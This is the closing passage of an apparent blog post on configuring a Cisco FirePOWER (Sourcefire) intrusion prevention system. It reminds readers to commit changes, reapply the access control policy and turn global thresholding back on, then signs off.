After any change in these options, we have to commit them and reapply our access control policy. At the end, let’s not forget turning the global thresholding back on, because we have previously disabled it.


I think about wrapping it up for now, and I hope to see you guys soon.

Thanks for reading.

Posted in Cisco, FirePOWER, IPS, Security, Sourcefire | Tagged , , , | 1 Comment